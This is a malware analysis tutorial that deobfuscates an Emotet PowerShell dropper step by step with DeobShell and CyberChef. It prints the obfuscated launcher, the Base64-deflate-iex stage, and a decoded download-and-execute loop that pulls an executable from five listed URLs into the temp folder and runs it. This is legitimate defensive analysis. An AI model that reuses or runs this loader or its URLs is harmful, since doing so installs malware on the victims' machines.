Back

Reverse Engineering Emotet's Obfuscated PowerShell Payloads

Emotet is a banking Trojan that's evolved into a modular botnet. One of its practices involves usage in PowerShell scripts that are manipulated to deliver malicious payloads. This guide walks through the process of understanding such a script, utilizing tools like DeobShell and CyberChef.

Table of Contents

Introduction

Emotet has been a persistent threat in the cybersecurity landscape, known for its ability to deliver additional malware payloads, including banking Trojans and ransomware. Its primary method of payload delivery involves obfuscated PowerShell scripts that encode and compress malicious commands, designed to evade detection by traditional security measures.

In this guide, we'll dissect a sample Emotet PowerShell script, demonstrating how to deobfuscate, decode, and decompress the payload to unmask it's properties.

Understanding the Obfuscated PowerShell Script

Here's the PowerShell script we'll analyze:

Obfuscated PowerShell script with AST rearrangement and an encoded/compressed payload
Figure 1: Obfuscated PowerShell script with AST rearrangement and an encoded/compressed payload.

${pC695I} = [tYpE]( "{2}{1}{0}{3}"-f'NM','O','eNvIR','ent' ); 
SeT   RxY= &( ([STRINg]$vERBOSEprEFERENce)[1,3]+'x'-JOIn'')((("{67}{22}{118}{0}{63}{98}{71}{46}{6}{36}{64}{113}{79}{49}{106}{1}{11}{99}{19}{57}{80}{88}{45}{60}{70}{30}{53}{102}{83}{89}{42}{17}{92}{32}{50}{68}{84}{55}{25}{39}{28}{76}{44}{12}{66}{43}{65}{13}{14}{87}{86}{61}{23}{40}{78}{111}{115}{94}{62}{34}{91}{104}{51}{16}{24}{58}{15}{56}{75}{93}{69}{105}{107}{73}{37}{82}{7}{108}{81}{38}{74}{90}{35}{85}{29}{2}{72}{18}{97}{5}{103}{26}{96}{77}{8}{114}{112}{31}{47}{110}{41}{48}{117}{10}{100}{116}{20}{54}{3}{101}{109}{33}{59}{4}{27}{9}{52}{21}{95}" -f 'sY','SsIOn','aQMT4A','odINg]::','h','0ra',' (ne','RM','nolUW','[21]+LHh','d','.D','BPd','JC','PGLFK','J8hl7gw','rp7','BJNZBRa8Iw','YOL','Fla','oMpreSS))','[34]','obj','twcfc2','m','x2JT','jq9CQufcObfgkG5UpR','Pshome','M2TVuL+','EzgDpr/','StrE',' , [io.CoMprESsIoN.compRe','8CUZzp','DtoEND( )DQ9','I0u','Y4pM+O4jUNXCQpqN8A','W-ob','GMd7iS','QSWEHeImHFH','Z','mz','n','SE64sTRInG(h','Zh1','uA19','m','(','ss','m','COMp','sD','F','PShOMe','AM] [CONvErt]::',' ,[TExT.enC','p4','sC4i','tES','qy','. ( LH','E','fv','cfy35Cis','STeM.IO.stReAMR','jecT','dmB','bxC','(neW-','i','2e','MorY','R','O1D5gjl3N','mWkR','3FR8d3s','lQb','N9Xy/p6z+HAd1E','20','hukwo','o.','tR','S','bxPtJ','rO','doeA2HbiissnoBnt','8e3fgI','R','As','eam( [io.','MBa','Deb','DdcpFI','FEb/Sh','Sd2HY1k0/LH','66mRy','+hBJXhBJ)','MYb9pod6Fx','9Y0F9R+hax','EADE','E','E]','ascii)','f','SO','R','irY2ZYmgabDa','Re','j353j6dPoMeF5','+w+',').REA','iO','mN8Tpkli3L','c=hBJ)',' i','W8cv1+g','qq3ZwH','::DeC','O','ecT ')).rEPlAce(([CHAR]68+[CHAR]81+[CHAR]57),[StRINg][CHAR]124).rEPlAce('hBJ',[StRINg][CHAR]39).rEPlAce('LHh','$'))&&   poWErShElL   ${pC695I} =[tYpE]( "{2}{1}{0}{3}" -f 'NM','O','eNvIR','ent' ); 
${eXEcUTIoNcONTExt}."INvoKEcomMAnd".(  "{3}{2}{1}{0}"-f 't','IP','cR','invOKES'  ).Invoke( (    (   &(  "{1}{0}{2}" -f 'R','va','IAble' ) ( "{0}{1}" -f 'pc695','I' ) -vALUEonly )::( "{4}{2}{3}{1}{0}" -f 'IablE','aR','v','IrONMeNTv','gEtEn' ).Invoke(  'RXy',(  "{0}{1}" -f 'prOcES','s' )  ) )   )
    
Deobfuscation process using DeobShell to parse the AST structure and reformat the script
Figure 2: Deobfuscation process using DeobShell to parse the AST structure and reformat the script.

At first glance, this script is deliberately obfuscated to conceal its operations. Through a series of steps, including deobfuscation, decoding, and decompression, we can better understand its functionality.

Reverse Engineering Process

To effectively analyze this script, we'll follow this approach:

  1. Deobfuscate the Script
  2. Extract the Base64 String
  3. Decode the Base64 String
  4. Decompress the Payload
  5. Analyze the Decompressed Script

Step 1: Deobfuscating the PowerShell Script

Objective: Simplify the obfuscated script to make its operations transparent.

Approach:

Implementation:

1. Variable Renaming

Replace nonsensical variable names with meaningful ones.


# Original
${pC695I} = [tYpE]( "{2}{1}{0}{3}"-f'NM','O','eNvIR','ent' );

# Simplified
$EnvironmentType = [Type]("eNvIR" + "O" + "NM" + "ent");  # Resolves to 'Environment'
    

2. Dynamic Method Invocation

Understand how methods are being dynamically constructed and invoked.


# Original
([STRINg]$vERBOSEprEFERENce)[1,3]+'x'-JOIn''

# Simplified
($VerbosePreference)[1,3] + 'x' -Join''  # Extracts characters at indices 1 and 3 and concatenates with 'x'
# Assuming $VerbosePreference = "SilentlyContinue", indices 1 and 3 correspond to 'i' and 'e', resulting in 'iex'
    

3. Parsing the AST with DeobShell

DeobShell leverages the .NET Framework's Abstract Syntax Tree (AST) to parse and deobfuscate PowerShell scripts. The AST provides a hierarchical tree representation of the script's syntax, allowing tools like DeobShell to analyze and transform obfuscated code systematically.

By parsing the AST with DeobShell can identify patterns such as the ones just discussed. It then refactors the script's variables, simplifies expressions, and reconstructs dynamically built method names.

In our example, DeobShell parses the AST to:

4. Final Deobfuscated Script


$EnvironmentType = [Type]("eNvIR" + "O" + "NM" + "ent");  # 'Environment'
$InvokeExpression = 'iex';  # Result from dynamic string construction
$Base64String = "NZBRa8IwFEb/Sh8CUZzpsDidoeA2HbiissnoBntp4x2JTZM2TVuL+N9Xy/p6z+HAd1EuA19BPdbxCZh1dmBJCPGLFKAsRfvtwcfc2mzhukwomN8Tpkli3Lqq3ZwH66mRycfy35CisI0uDdcpFIRFrp7mqyJ8hl7gwsC4ilQbSd2HY1k0/LH2eirY2ZYmgabDaj353j6dPoMeF5mWkRGMd7iSbxPtJRM+w+SQSWEHeImHFH3FR8d3sDebY4pM+O4jUNXCQpqN8A8e3fgIEzgDpr/aQMT4AO1D5gjl3NYOL9Y0F9R+hax0raSOjq9CQufcObfgkG5UpRMYb9pod6Fx20nolUWW8cv1+gc=";
$DecompressedData = [Text.Encoding]::ASCII.GetString([Compression.DeflateStream]::Decompress([MemoryStream]::new([Convert]::FromBase64String($Base64String))));
Invoke-Expression($DecompressedData);
    

Step 2: Extracting and Decoding the Base64 String

Objective: Isolate the Base64-encoded string embedded within the script for decoding.

Approach:

Implementation:

From the deobfuscated script:


$Base64String = "NZBRa8IwFEb/Sh8CUZzpsDidoeA2HbiissnoBntp4x2JTZM2TVuL+N9Xy/p6z+HAd1EuA19BPdbxCZh1dmBJCPGLFKAsRfvtwcfc2mzhukwomN8Tpkli3Lqq3ZwH66mRycfy35CisI0uDdcpFIRFrp7mqyJ8hl7gwsC4ilQbSd2HY1k0/LH2eirY2ZYmgabDaj353j6dPoMeF5mWkRGMd7iSbxPtJRM+w+SQSWEHeImHFH3FR8d3sDebY4pM+O4jUNXCQpqN8A8e3fgIEzgDpr/aQMT4AO1D5gjl3NYOL9Y0F9R+hax0raSOjq9CQufcObfgkG5UpRMYb9pod6Fx20nolUWW8cv1+gc=";
    

Outcome:

The Base64 string is now isolated and ready for decoding.

Convert the Base64 string into a byte array for further processing.

Approach:

Step 3: Decompressing the Payload

Objective: Uncompress the decoded byte array to reveal the underlying PowerShell script.

Approach:

Implementation:

Using CyberChef:

  1. Input: Paste the decoded byte array.
  2. Operation: Apply Deflate Inflate (Raw).
  3. Output: Obtain the readable PowerShell script.

Result:

Decoded and decompressed script parameters
Figure 3: Decoded and decompressed script parameters after applying raw Inflate.

$qlK = New-Object Net.WebClient;
$OMS = 'http://cine80.co.kr/wvw/qhKE5rlkR@http://listyourhomes.ca/o5qDsWBe@http://hire-van.com/6dusyh9w3@http://icxturkey.com/nE2YMAjUK@http://spolarich.com/vlJ2o3k2h7'.Split('@');
$Xbd = '378';
$rWQ = "$env:temp\$Xbd.exe";
foreach ($OWc in $OMS) {
    try {
        $qlK.DownloadFile($OWc, $rWQ);
        Invoke-Item $rWQ;
        break;
    } catch {}
}
    

Explanation:

The decompressed script is now readable and outlines its malicious intent.

Step 4: Analyzing the Decompressed Script

Objective: Understand the functionality and malicious operations of the decompressed script.

Decompressed Script:


$qlK = New-Object Net.WebClient;
$OMS = 'http://cine80.co.kr/wvw/qhKE5rlkR@http://listyourhomes.ca/o5qDsWBe@http://hire-van.com/6dusyh9w3@http://icxturkey.com/nE2YMAjUK@http://spolarich.com/vlJ2o3k2h7'.Split('@');
$Xbd = '378';
$rWQ = "$env:temp\$Xbd.exe";
foreach ($OWc in $OMS) {
    try {
        $qlK.DownloadFile($OWc, $rWQ);
        Invoke-Item $rWQ;
        break;
    } catch {}
}
    

Detailed Breakdown:

  1. WebClient Object Creation:
    $qlK = New-Object Net.WebClient;

    Purpose: Initializes a new WebClient object to handle HTTP requests, specifically for downloading files.

  2. URL List Initialization:
    $OMS = 'http://cine80.co.kr/wvw/qhKE5rlkR@http://listyourhomes.ca/o5qDsWBe@http://hire-van.com/6dusyh9w3@http://icxturkey.com/nE2YMAjUK@http://spolarich.com/vlJ2o3k2h7'.Split('@');

    Purpose: Defines a list of URLs separated by @ and splits them into an array $OMS. These URLs are potential sources for downloading additional malicious payloads.

  3. Executable Naming and Path Construction:
    $Xbd = '378';
    $rWQ = "$env:temp\$Xbd.exe";

    Purpose: Constructs the path for the downloaded executable. The executable is named 378.exe and is placed in the system's temporary directory.

  4. Download and Execution Loop:
    
    foreach ($OWc in $OMS) {
        try {
            $qlK.DownloadFile($OWc, $rWQ);
            Invoke-Item $rWQ;
            break;
        } catch {}
    }
            

    Purpose:

    • Download Attempt: Iterates through each URL in $OMS and attempts to download the executable to $rWQ.
    • Execution: If the download is successful, executes the downloaded file using Invoke-Item.
    • Break on Success: Upon successful download and execution, breaks out of the loop to prevent further attempts.
    • Silent Failure Handling: Any errors during download or execution are caught and ignored, ensuring the script doesn't raise alarms or halt execution.

Implications:

Technical Analysis of the Final Payload

Objective: Understand the functionality and intent of the final payload.

Decompressed Script:


$qlK = New-Object Net.WebClient;
$OMS = 'http://cine80.co.kr/wvw/qhKE5rlkR@http://listyourhomes.ca/o5qDsWBe@http://hire-van.com/6dusyh9w3@http://icxturkey.com/nE2YMAjUK@http://spolarich.com/vlJ2o3k2h7'.Split('@');
$Xbd = '378';
$rWQ = "$env:temp\$Xbd.exe";
foreach ($OWc in $OMS) {
    try {
        $qlK.DownloadFile($OWc, $rWQ);
        Invoke-Item $rWQ;
        break;
    } catch {}
}
    

Detailed Breakdown:

  1. WebClient Object (`$qlK`):

    Utilized for HTTP operations, specifically downloading files from the internet.

  2. URL List (`$OMS`):

    Contains multiple URLs separated by @. These URLs are likely C2 (Command and Control) servers hosting additional malware payloads.

  3. Executable Naming (`$Xbd` and `$rWQ`):
    $Xbd = '378';
    $rWQ = "$env:temp\$Xbd.exe";

    Purpose: Constructs the path for the downloaded executable. The executable is named 378.exe and is placed in the system's temporary directory.

  4. Download and Execution Loop:
    
    foreach ($OWc in $OMS) {
        try {
            $qlK.DownloadFile($OWc, $rWQ);
            Invoke-Item $rWQ;
            break;
        } catch {}
    }
            

    Purpose:

    • Download Attempt: Iterates through each URL in $OMS and attempts to download the executable to $rWQ.
    • Execution: If the download is successful, executes the downloaded file using Invoke-Item.
    • Break on Success: Upon successful download and execution, breaks out of the loop to prevent further attempts.
    • Silent Failure Handling: Any errors during download or execution are caught and ignored, ensuring the script doesn't raise alarms or halt execution.

Implications:

Tools and Resources

To effectively reverse engineer and analyze such obfuscated scripts, the following tools and resources are invaluable:

  1. DeobShell: A tool designed to simplify and deobfuscate PowerShell scripts by parsing the .NET Framework's Abstract Syntax Tree (AST).

    Usage: DeobShell parses the AST to identify and refactor obfuscated elements, such as variable renaming and string manipulations, transforming the script into a more readable format.

  2. CyberChef: A powerful web-based tool for encoding, decoding, and analyzing data.

    Usage: Ideal for Base64 decoding, Deflate decompression, and experimenting with various data transformations.

  3. PowerShell ISE or VSCode with PowerShell Extensions: Integrated Development Environments (IDEs) for scripting and debugging PowerShell scripts.

    Usage: Facilitates step-by-step execution and inspection of scripts without running malicious code.